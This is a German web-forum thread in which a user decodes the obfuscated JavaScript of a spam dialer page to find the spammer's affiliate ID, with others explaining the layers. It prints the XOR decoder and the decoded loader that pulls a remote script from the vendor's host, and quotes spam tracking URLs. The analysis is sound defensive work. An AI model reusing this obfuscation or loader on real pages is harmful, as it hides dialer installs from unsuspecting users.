TEIL 2 - HTML-Code verstecken, nun ist es doch möglich, ODER??

[Thomas Creutz]

Hallo Leute,

nach dem ich immer wieder Spam mit blöden Internetdialern bekomme, habe ich mal versucht den Spammer abzumarnen, denn jeder Dialer wird meist über eine spezielle ID zugeordnet um Provision zahlen zu können.

Also versuchte ich die Seite im Quelltext anzusehen, aber siehe da... sie ist verschlüsselt... ok, gut dachte ich... mein Browser kann es anzeigen also kann man es auch entschlüsseln... schon hatte ich im google ein paar treffende Suchwörter eingegeben und fand dieses Bericht

http://forum.de.selfhtml.org/archiv/2000_3/t20843.htm

Super, dachte ich... leider hat keine der Beschriebenen Funktionen etwas gebracht... Deswegen meine Frage an euch..

Wer kann den Code dieser Seiten knacken?

http://melli345.tripod.com.pe/sabine.txt

http://habsch26.tripod.com.ve/webcam.txt?sid=1019081607451A0F2109590E100A11400D4F030408474D5C08465A5D410C4E0A564404455D534D01

Ich währe euch sehr Dankbar wenn Ihr mir helfen könntet... aber vorsicht... Keinen Downlaod und keine Sicherheitswarnung dieser Seite akteptieren.

MfG
Thomas (thomas-punkt-creutz-at-gmx-punkt-de)

[Heiner]

Hallo,
 http://habsch26.tripod.com.ve/webcam.txt?sid=1019081607451A0F2109590E100A11400D4F030408474D5C08465A5D410C4E0A564404455D534D01

Das kommt mir aber sehr bekannt vor!

Heiner

[Thomas Creutz]

Das kommt mir aber sehr bekannt vor!

Was meinst du damit? Also ich bekomme wie gesagt andauernt so ein schrott, aber da bin ich sicher nicht der einzige..

Gruß,
Thomas

[Heiner]

Was meinst du damit?

tripod.abc.def-irgendwas. Das kriege ich regelmäßig. Momentan bekomme ich aber eher Diät-Werbung. Dabei wiege ich nur 70 kg. Naja.

Heiner

[CarstenP]

Ahoi!

Momentan bekomme ich aber eher Diät-Werbung.

Also bei mir singen sie alle Lobeshymnen auf Pfizer... ;-)

Viele Grüße
Carsten

[Tobias Kloth]

Hallo Heiner,

Was meinst du damit?
tripod.abc.def-irgendwas. Das kriege ich regelmäßig.

dito

Momentan bekomme ich aber eher Diät-Werbung.

Ich glaube Diät-Werbung habe ich noch nicht bekommen - nur immer E-Mails von irgendwelchen sehensüchtigen Damen :-)

Dabei wiege ich nur 70 kg.

das kann ich unterbieten - ich wiege nur ca. 65kg (meist eher weniger) :-)

Grüße aus Nürnberg
Tobias

[Tobias Kloth]

Hallo Thomas,

nach dem ich immer wieder Spam mit blöden Internetdialern bekomme,

dann richte einen Filter ein, der alle Mails in denen ".txt?sid=" vorkommt rausfiltert (und einen der Mails mit leeren Bodys rausfiltert) und fertig.

habe ich mal versucht den Spammer abzumarnen, denn jeder Dialer wird meist über eine spezielle ID zugeordnet um Provision zahlen zu können.

da wirst du glaube ich wenig Chancen haben...

Also versuchte ich die Seite im Quelltext anzusehen, aber siehe da... sie ist verschlüsselt... ok, gut dachte ich... mein Browser kann es anzeigen also kann man es auch entschlüsseln... schon hatte ich im google ein paar treffende Suchwörter eingegeben und fand dieses Bericht

http://forum.de.selfhtml.org/archiv/2000_3/t20843.htm

</faq/#Q-19>

Wer kann den Code dieser Seiten knacken?

dazu ist mir ehrlichgesagt meine Zeit zu schade

http://habsch26.tripod.com.ve/webcam.txt?sid=10[...]D01

wenn du die url genau so gepostet hast, wie du sie bekommen hast, hast du damit bestätigt, dass die E-Mailadresse existiert und gelesen wird (da bestimmt jemand diese url kopiert und eingegeben hat.

Ich währe euch sehr Dankbar wenn Ihr mir helfen könntet... aber vorsicht... Keinen Downlaod und keine Sicherheitswarnung dieser Seite akteptieren.

welcher Download und welche Sicherheitswarnungen? Ich bekomme nur den Quelltext angezeigt - die Seite wird schließlich als text/plain ausgeliefert (ja, ich weiß der IE hält sich da nicht dran, und interpretiert das html trotzdem)

Thomas (thomas-punkt-creutz-at-gmx-punkt-de)

ach, dir gehört garnicht die Domain spam.de? Warum gibst du sie dann als E-Mailadresse an? (das E-Mailfeld ist optional (ok, das sollte man vielleicht auch dazuschreiben)).

Grüße aus Nürnberg
Tobias

[Thomas Creutz]

Hallo

nach dem ich immer wieder Spam mit blöden Internetdialern bekomme,
dann richte einen Filter ein, der alle Mails in denen ".txt?sid=" vorkommt rausfiltert (und einen der Mails mit leeren Bodys rausfiltert) und fertig.

Jain.. das wäre eine möglichkeit... aber dann muss ich die immer noch jedesmal downloaden.. Das ist einfach nur schrott! (klar es gibt auch online-spam-filer...)

habe ich mal versucht den Spammer abzumarnen, denn jeder Dialer wird meist über eine spezielle ID zugeordnet um Provision zahlen zu können.
da wirst du glaube ich wenig Chancen haben...

Wieso?? Da die leute gegen die AGB´s der jeweiligen Dialerhersteller verstoßen brauche ich das
a) nur dem Anbieter zu melden
b) kann ich meinen Anwalt beauftragen den Anbieter anzuschreiben und um dann einen gegenangriff veranlassen...

Also ich sehe das nicht so das es da wenig Chancen gibt..

Also versuchte ich die Seite im Quelltext anzusehen, aber siehe da... sie ist verschlüsselt... ok, gut dachte ich... mein Browser kann es anzeigen also kann man es auch entschlüsseln... schon hatte ich im google ein paar treffende Suchwörter eingegeben und fand dieses Bericht

Wer kann den Code dieser Seiten knacken?
dazu ist mir ehrlichgesagt meine Zeit zu schade

dann halt nicht...

http://habsch26.tripod.com.ve/webcam.txt?sid=10[...]D01
wenn du die url genau so gepostet hast, wie du sie bekommen hast, hast du damit bestätigt, dass die E-Mailadresse existiert und gelesen wird (da bestimmt jemand diese url kopiert und eingegeben hat.

ich dachte eher das es sowas wie ein schlüssel zum entschlüsseln ist...

Ich währe euch sehr Dankbar wenn Ihr mir helfen könntet... aber vorsicht... Keinen Downlaod und keine Sicherheitswarnung dieser Seite akteptieren.
welcher Download und welche Sicherheitswarnungen? Ich bekomme nur den Quelltext angezeigt - die Seite wird schließlich als text/plain ausgeliefert (ja, ich weiß der IE hält sich da nicht dran, und interpretiert das html trotzdem)

Welcher Browser???

Thomas (thomas-punkt-creutz-at-gmx-punkt-de)
ach, dir gehört garnicht die Domain spam.de? Warum gibst du sie dann als E-Mailadresse an? (das E-Mailfeld ist optional (ok, das sollte man vielleicht auch dazuschreiben)).

Naja, das liegt wohl daran das ich nicht noch mehr spam bekommen möchste! Immerhin gibt es sehr viele eMail-Spider die im Netz nach eMail Adresse suchen...

Gruß,
Thomas

[Tobias Kloth]

Hallo Thomas,

Jain.. das wäre eine möglichkeit... aber dann muss ich die immer noch jedesmal downloaden..

das Problem habe ich nicht :-) - aber soo groß sind die nun auch wieder nicht.

(klar es gibt auch online-spam-filer...)

da du anscheinend bei gmx bist, kannst du doch Filter einrichten...

da wirst du glaube ich wenig Chancen haben...
[...]
Also ich sehe das nicht so das es da wenig Chancen gibt..

und was machst du, wenn der jeweilige im Ausland sitzt?

http://habsch26.tripod.com.ve/webcam.txt?sid=10[...]D01
[...]
ich dachte eher das es sowas wie ein schlüssel zum entschlüsseln ist...

nein, das ist afaik eine eindeutige Nummer, um deine E-Mailadress zu erkennen.

welcher Download und welche Sicherheitswarnungen? Ich bekomme nur den Quelltext angezeigt - die Seite wird schließlich als text/plain ausgeliefert (ja, ich weiß der IE hält sich da nicht dran, und interpretiert das html trotzdem)
Welcher Browser???

Opera (Mozilla zeigt den Quelltext aber auch an - was ja richtig ist)

ach, dir gehört garnicht die Domain spam.de? Warum gibst du sie dann als E-Mailadresse an? (das E-Mailfeld ist optional (ok, das sollte man vielleicht auch dazuschreiben)).
Naja, das liegt wohl daran das ich nicht noch mehr spam bekommen möchste!

dann lass das Feld einfach frei (was du ja jetzt gemacht hast)

Immerhin gibt es sehr viele eMail-Spider die im Netz nach eMail Adresse suchen...

ich gebe schon seit meinem 1. Posting hier immer die gleiche E-Mailadresse an (inzwischen >2000 mal) bekomme aber trotzdem kaum Spam.

Grüße aus Nürnberg
Tobias

[Thomas Creutz]

Hallo Tobias,

Also ich sehe das nicht so das es da wenig Chancen gibt..
und was machst du, wenn der jeweilige im Ausland sitzt?

Dann kann ich immerhin seine bisher erworbene Kohle tilgen!

http://habsch26.tripod.com.ve/webcam.txt?sid=10[...]D01
[...]
ich dachte eher das es sowas wie ein schlüssel zum entschlüsseln ist...
nein, das ist afaik eine eindeutige Nummer, um deine E-Mailadress zu erkennen.

nö.. das ist ein schlüssel zum Decoden.. hab den Code fast komplett encodet!

Siehe hier (sorry kweiss schon wieder nicht wie das mit dem URL-Code geht... --> http://forum.de.selfhtml.org/?t=54087&m=300768

Thomas

[Tobias Kloth]

Hallo Thomas,

Siehe hier (sorry kweiss schon wieder nicht wie das mit dem URL-Code geht...

dann lies die </faq/> - da steht es nämlich drin: </faq/#Q-19> (und wenn du dich wunderst, warum es in der Vorschau nicht funktioniert lies </archiv/2003/3/40310/#m220868>)

Grüße aus Nürnberg
Tobias

[Sven Rautenberg]

Moin!

Super, dachte ich... leider hat keine der Beschriebenen Funktionen etwas gebracht... Deswegen meine Frage an euch..

Wer kann den Code dieser Seiten knacken?

Der Code ist simpel.

Der Trick liegt darin, dass alles in einer ewig langen Zeile steckt. So siehst du die einzelnen Befehle nicht.

Wenn du aber mal ganz genau durchscrollst (bzw. den Cursor durchhuschen läßt), dann stellst du fest, dass mitten in der Codewüste Semikolons stecken - und davor die lange Zeichenkette mit ' beendet wird.

Genauer gesagt:
var x='';
x+='ewiglangercode';
x+='nochmehrcode';
document.write(unescape(x));
Funktionsaufruf('mitextravielcode',k);

Der Code in x definiert die Funktion für den Funktionsaufruf weiter unten. Diese Funktion selbst dürfte dann den HTML-Code in die Seite schreiben.

Du darfst gerne experimentieren. Speichere die Seite lokal ab, und fühe ein Formular mit einer sinnvoll großen Textarea hinzu.

Dann änderst du das document.write() ab in ein document.formular.textarea.value=unescape(x);

Und schon hast du die Dekodierfunktion für den zweiten Teil.

Diese Dekodierfunktion kannst du dann 1:1 zurück in den Quelltext kopieren (und den Rest eigentlich löschen), und das Spielchen dann noch einmal treiben: Irgendwo in der Funktion wird per document.write() der dekodierte Quelltext ausgegeben - lass ihn in eine Textarea ausgeben, statt ins Dokument, und schon siehst du, welcher Quelltext verwendet wurde.

Immerhin nett, dass die Seite als text/plain ausgeliefert wurde - so gehen wenigstens nur Blödmänner mit IE komplett ins Netz - die anderen hinterlassen nur einen Logfileeintrag.

- Sven Rautenberg

[Thomas Creutz]

Hallo Sven,

Du darfst gerne experimentieren. Speichere die Seite lokal ab, und fühe ein Formular mit einer sinnvoll großen Textarea hinzu.

Dann änderst du das document.write() ab in ein document.formular.textarea.value=unescape(x);

Und schon hast du die Dekodierfunktion für den zweiten Teil.

OK, soweit habe ich es geschafft...

Diese Dekodierfunktion kannst du dann 1:1 zurück in den Quelltext kopieren (und den Rest eigentlich löschen), und das Spielchen dann noch einmal treiben: Irgendwo in der Funktion wird per document.write() der dekodierte Quelltext ausgegeben - lass ihn in eine Textarea ausgeben, statt ins Dokument, und schon siehst du, welcher Quelltext verwendet wurde.

Aber beim zweiten durchgang hat es dann schon nimmer geklappt... Er zeigte mir nur schrott unter der Text-Area an...

Also aus dem ersten Teil

----schnip----
<form action="" method="get" name="formular">
<textarea name="textarea" cols="90" rows="20"></textarea>
</form>
<script language = "JavaScript">
var x='';
x+='%3Cscript%20language%20%3D%20%22JavaScript%22%3Efunction%20d%28t%2Ck%29%7Bvar%20y%3D0%3Bvar%20r%3D%27%27%3Bt%3Dunescape%28t%29%3Bfor%20%28i%3D0%3Bi%3Ct%2Elength%3Bi%2B%2B%29%7Bx%3Dk%2EcharCodeAt%28y%29%3Bx2%3Dt%2EcharCodeAt%28i%29%3Bif%28x%21%3Dx2%29%7Br%3Dr%2BString%2EfromCharCode%28x2%5Ex%29%3B%7D';
x+='else%7Br%3Dr%2BString%2EfromCharCode%28x%29%3B%7Dy%2B%2B%3Bif%28y%3D%3Dk%2Elength%29%7By%3D0%3B%7D%7Dreturn%28escape%28r%29%29%3B%7Dfunction%20H288Q8RHPK3%28w%2Ck%29%7Bdocument%2Ewrite%28unescape%28d%28w%2Ck%29%29%29%3B%7Dvar%20k%3D%271776628882%27%3B%3C%2Fscript%3E';
document.formular.textarea.value=(unescape(x));
[der rest vom Code...]
</script>
---schnap---

wurde

---schnip---
<textarea name="textarea" cols="90" rows="20"></textarea>
</form>

<script language = "JavaScript">
<script language = "JavaScript">function d(t,k){var y=0;var r='';t=unescape(t);
for (i=0;i<t.length;i++){x=k.charCodeAt(y);x2=t.charCodeAt(i);
if(x!=x2){r=r+String.fromCharCode(x2^x);}else{r=r+String.fromCharCode(x);
}y++;if(y==k.length){y=0;}}return(escape(r));
}function H288Q8RHPK3(w,k){document.formular.textarea.value(unescape(d(w,k)));
}var k='1776628882';</script>
[der rest vom Code...]
</script>
---schnap---

Hab ich da was falsch gemacht.. ich komme irgendwie nicht weiter...
Kann es nicht sein das der erste Code eine Variable definiert hat die zum entschlüsseln des zweiten Codes benötigt wird?

Immerhin nett, dass die Seite als text/plain ausgeliefert wurde - so gehen wenigstens nur Blödmänner mit IE komplett ins Netz - die anderen hinterlassen nur einen Logfileeintrag.

Jo.. super.. das hilf mir aber auch nicht weiter...

Gruß,
Thomas

[Thomas Creutz]

Hallo...

ich habs jetzt etwas anderes gemacht...

Und zwar hab ich erstmal den kompletten Inhalt des

<script language = "JavaScript"></script>

Tags in den Java-Debugger eingegeben...

Danach hatte ich den kompletten Java-Code entschlüsselt..

aber der macher hat noch eine kleine Schwierigkeit eingebaut...

und zwar am ende stand

<script language="JScript.Encode">[viele kryptische Zeichen..]</script>

was ich nun mit dem Programm unter http://www.virtualconspiracy.com/scrdec.html entschlüsselt habe...

Da kam dann noch eine kleine Funktion raus wo auch entgültig die ID des Typs drinne steht der die Spam verschickt hat...

Wer kann mir Helfen die letzte Zeile zu decoden???

---schnipp---
var Text ="%3Cscript%20language%3D%22JavaScript%22%3E%0D%0Avar%20ref%20%3D%20document.referrer.toLowerCase%28%29%3B%0D%0Avar%20dieurl%20%3D%20document.URL.toLowerCase%28%29%3B%0D%0Avar%20parts%20%3D%20ref.split%28%22sid%3D%22%29%3B%0D%0Aif%20%28parts.length%20%3D%3D%201%29%20var%20parts%20%3D%20dieurl.split%28%22sid%3D%22%29%3B%0D%0Aif%20%28parts.length%20%3D%3D%201%29%20alert%20%28%27Fehlerhafter%20Einbau%20des%20Werbepartner-Codes%21%27%29%3B%0D%0Aelse%20document.write%20%28%22%3Cscript%20language%3D%5C%22JavaScript%5C%22%20src%3D%5C%22http%3A//www.movieplugin.com/plugin/webmaster.php%3Fsid%3D%22%20+%20parts%5B1%5D%20+%20%22%5C%22%3E%3C%5C/script%3E%22%29%3B%0D%0A%3C/script%3E";
function DeCode() { var NewText; NewText = unescape(Text); document.write(NewText);} DeCode();
---schnapp---

Bidde helft mir...

Gruß,
Thomas

[alsowiebitte]

jahalloauch, du ...

gradehabe ich deinposting gelesen und bin beeindruckt. Soviel Mühe, um eine Pornoseite darzustellen, alsosowas aber auch, alsosowas.

<script language="JScript.Encode">[viele kryptische Zeichen..]</script>

Nadas machter, weil er denkt, daßalle W e l t  sowieso den InternetE xplorer hat, unddder kann JScript.

was ich nun mit dem Programm unter http://www.virtualconspiracy.com/scrdec.html

Generös, wie ichnunmal bin (jaja, ichkann auch nicht ausmeiner Haut), schreibe ich dir mal her, wie soein link aussieht, daß dus nur weißt:
http://www.virtualconspiracy.com/scrdec.html

var Text ="%3Cscript%20language%3D%22JavaScript%22%3E%0D%0Avar%

Na, CScriptnatürlich (ScriptingHost), das mußja im IE passen, sogarwenn kein Javascripterlaubt ist, aber ActiveScriptingauf volle Pulle steht, wiees manche Dumpfbacken ja machen. Tststs, also manches Volks gibtes, also neeneeneenee ...

Bidde helft mir...

Jaaberwas hast du dann davon? Auf der Seite, wo dieser Code jetzt gilt, ist dasja nichtmal eine Schönheit, sondern so ein verludertes Blondchen, und ausserdem ist die auch noch vollangezogen, was soll Mann bloss mit sowas anfangen.

mußmir jetztmal Finger waschen gehen.

grüße dichund (naja, weißtduja schon)

alsowiebitte

[Thomas Creutz]

Bidde helft mir...
Jaaberwas hast du dann davon? Auf der Seite, wo dieser Code jetzt gilt, ist dasja nichtmal eine Schönheit, sondern so ein verludertes Blondchen, und ausserdem ist die auch noch vollangezogen, was soll Mann bloss mit sowas anfangen.

Wenn du das Posting komplett gelesen hättest wüsstest du was ich damit will.. ich habe den Spammern den Kampf angesagt... Ich brauche nur die ID (nicht die Frauen!) aus dem Quellcode um die Typen bei den Betreibern anzuschwärzen damit sie gesperrt werden... wenn ich das oft genug mache dann geben die evtl. ja auf...*g* oder ich geh zu meinem Anwalt der da auch was machen kann.. ist halt nur so das die Typen auch im Ausland sitzten _könnten_ ... naja mal sehen...

Gruß,
Thomas

[Thomas Creutz]

Hallo Gemeinde

Ich dummerchen.. habs noch weiter entpackt...

---schnipp---
<script language="JavaScript">
var ref = document.referrer.toLowerCase();
var dieurl = document.URL.toLowerCase();
var parts = ref.split("sid=");
if (parts.length == 1) var parts = dieurl.split("sid=");
if (parts.length == 1) alert ('Fehlerhafter Einbau des Werbepartner-Codes!');
else document.write ("<script language="JavaScript" src="http://www.movieplugin.com/plugin/webmaster.php?sid=" + parts[1] + ""></script>");
</script>
---schnipp--

...aber kann mir einer sagen was in parts [1] steht wenn die übergebene sid=1019081607451A0F2109590E100A11400D4F030408474D5C08465A5D410C4E0A564404455D534D01 ist ? Ich raff das nicht ganz...

Gruß,
Thomas

[Thomas Creutz]

OK, OK...

ich habs jetzt doch verstanden... hab anscheind voll auf dem Schlauch gestanden *gg*

Da steht die komplette sid drinne.. also ist das nicht dazu - wie hier einige gesagt haben - um jemanden an seiner eMail zu indentivizieren sondern um den Anbieter zu sagen.. Hallo ich bins der Kunde mit der SID=.... un ich bringe dir gerade neue Kundschaft...

Aber so geht jetzt nimmer... eMail geht schon gleich an den Raus der den Dialer vertreibt...

Gruß und nochmal Danke an alle die Geholfen haben...

Thomas

[Bio]

Sup!

Der Code ist mehrfach ineinander verschachtelt... es sind Funktionen, die Code dynamisch schreiben, der Funktionen enthält, um noch mehr Code dynamisch zu schreiben... der dann, nach ein paar Iterationen, den richtigen Code des Seite schreibt.

Die erste Stufe habe ich decodiert, der erste Abschnitt wird zu:

<script language = "JavaScript">function d(t,k){var y=0;var r='';t=unescape(t);for (i=0;i<t.length;i++){x=k.charCodeAt(y);x2=t.charCodeAt(i);if(x!=x2){r=r+String.fromCharCode(x2^x);}else{r=r+String.fromCharCode(x);}y++;if(y==k.length){y=0;}}return(escape(r));}function DGO35K3883GFQM8(w,k){document.write(unescape(d(w,k)));}var k='196546780';</script>

Danach wurde es mir langsam zu blöde, denn auch der JS-Code ist absolut krude und anscheinend nur im IE richtig lauffähig, mein Mozilla hat wohl etwas höhere Anforderungen an die Strukturierung eines ordnungsgemäßen JS-Programms als der IE... der fuehrt z.B. dynamisch hinzugekommene Programmteile anscheinend nicht automatisch aus (warum sollte er auch) und moechte Variablen- und Funktionsdeklarationen wohl auch gerne vor dem Code als mitten drin sehen.

Gruesse,

Bio

[Thomas Creutz]

Hallo Bio,

Die erste Stufe habe ich decodiert, der erste Abschnitt wird zu:
[..]
Danach wurde es mir langsam zu blöde, denn auch der JS-Code ist absolut krude und anscheinend nur im IE richtig lauffähig, mein Mozilla hat wohl etwas höhere Anforderungen an die Strukturierung eines ordnungsgemäßen JS-Programms als der IE... der fuehrt z.B. dynamisch hinzugekommene Programmteile anscheinend nicht automatisch aus (warum sollte er auch) und moechte Variablen- und Funktionsdeklarationen wohl auch gerne vor dem Code als mitten drin sehen.

Hab es gerade auch versucht... und den ersten Teil habe ich auch hinbekommen. Aber der  rest funktioniert aber anscheined auch nicht mit dem IE!

Ich glaube da muss noch mehr dahinter stecken...

Gruß,
Thomas